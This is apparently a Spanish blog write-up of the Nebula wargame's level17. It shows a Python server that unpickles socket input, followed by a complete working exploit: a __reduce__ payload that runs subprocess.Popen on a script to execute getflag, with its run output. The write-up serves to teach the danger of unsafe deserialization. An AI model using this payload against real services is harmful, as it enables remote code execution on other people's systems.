level17 nos muestra los peligros de la deserialización sobre datos de entrada procedentes de fuentes no confiables:
level17@nebula:/home/flag17$ ls -al
total 6
drwxr-x--- 2 flag17 level17 83 2011-11-20 20:40 .
drwxr-xr-x 1 root root 120 2012-08-27 07:18 ..
-rw-r--r-- 1 flag17 flag17 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag17 flag17 3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 root root 520 2011-11-20 21:22 flag17.py
-rw-r--r-- 1 flag17 flag17 675 2011-05-18 02:54 .profile
El siguiente script en Python está esperando conexiones en el puerto 10007:
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
pickle
es un modulo que ofrece un potente algoritmo (cPickle
es una implementación en C mucho más rápida) para serializar y deserializar objetos en Python. pickle
tiene ciertas ventajas sobre otras implementaciones como marshal que no trataremos aquí. Lo que sí tienen ambos en común es la siguiente advertencia de la documentación oficial:
Warning
The pickle module is not secure against erroneous or maliciously
constructed data. Never unpickle data received from an untrusted
or unauthenticated source.
Es decir, no deserialices un objeto con
pickle
si el input proviene de una fuente no confiable.
Artículos como Arbitrary code execution with Python pickles, nos enseñan como construir objetos manualmente que conducen a ejecución arbitraria de comandos, no obstante, la documentación oficial de pickle
es suficiente para lograr superar el reto:
11.1.5.2. Pickling and unpickling extension types
object.__reduce__()
When the Pickler encounters an object of a type it knows nothing about
— such as an extension type — it looks in two places for a hint of how to
pickle it. One alternative is for the object to implement a __reduce__() method.
If provided, at pickling time __reduce__() will be called with no arguments,
and it must return either a string or a tuple.
When a tuple is returned, it must be between two and five elements long.
Optional elements can either be omitted, or None can be provided as their
value. The contents of this tuple are pickled as normal and used to
reconstruct the object at unpickling time. The semantics of each element are:
A callable object that will be called to create the initial version of
the object. The next element of the tuple will provide arguments for this
callable, and later elements provide additional state information that will
subsequently be used to fully reconstruct the pickled data.
In the unpickling environment this object must be either a class, a
callable registered as a “safe constructor” (see below), or it must have
an attribute __safe_for_unpickling__ with a true value. Otherwise, an
UnpicklingError will be raised in the unpickling environment. Note that
as usual, the callable itself is pickled by name.
A tuple of arguments for the callable object.
Lo que esto nos dice, es que podemos definir una clase con un método
__reduce__()
, el cual devolverá una tupla en la que el primer elemento será una función (subprocess.Popen()
o subprocess.call()
son perfectamente válidos para nuestro callable object), y otra tupla con los argumentos que se pasarán a dicha función.
Para el argumento que Popen()
o call()
procesará, reutilizaremos el script del anterior reto, al que llamaremos /tmp/boom
y le daremos permisos de ejecución chmod +x /tmp/boom
:
#!/bin/sh
/bin/getflag > /tmp/pwned
Finalmente creamos el exploit en Python:
import socket
import cPickle
import subprocess
class Fake(object):
def __reduce__(self):
return (subprocess.Popen, ('/tmp/boom',))
def connect(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("[+] Conectado a " + ip + ":" + str(port))
except:
print("[X] Se producjo un error de conexion")
exit(1)
return s
def getFakePickled():
fake = cPickle.dumps(Fake())
print fake
return fake
def exploit():
s = connect("localhost", 10007)
print(s.recv(1024))
s.send(getFakePickled())
s.close()
if __name__ == "__main__":
exploit()
Lo lanzamos y...
level17@nebula:/home/flag17$ python /tmp/l17exploit.py; ls -al /tmp
[+] Conectado a localhost:10007
Accepted connection from 127.0.0.1:54784
csubprocess
Popen
p1
(S'/tmp/boom'
p2
tp3
Rp4
.
total 12
drwxrwxrwt 4 root root 140 2018-07-23 06:09 .
drwxr-xr-x 1 root root 220 2018-07-23 02:33 ..
-rwxrwxr-x 1 level17 level17 39 2018-07-23 05:46 boom
drwxrwxrwt 2 root root 40 2018-07-23 02:34 .ICE-unix
-rw-rw-r-- 1 level17 level17 710 2018-07-23 06:10 l17exploit.py
-rw-r--r-- 1 flag17 flag17 59 2018-07-23 06:10 pwned
drwxrwxrwt 2 root root 40 2018-07-23 02:34 .X11-unix
level17@nebula:/home/flag17$ cat /tmp/pwned
You have successfully executed getflag on a target account
Pwned!
No hay comentarios:
Publicar un comentario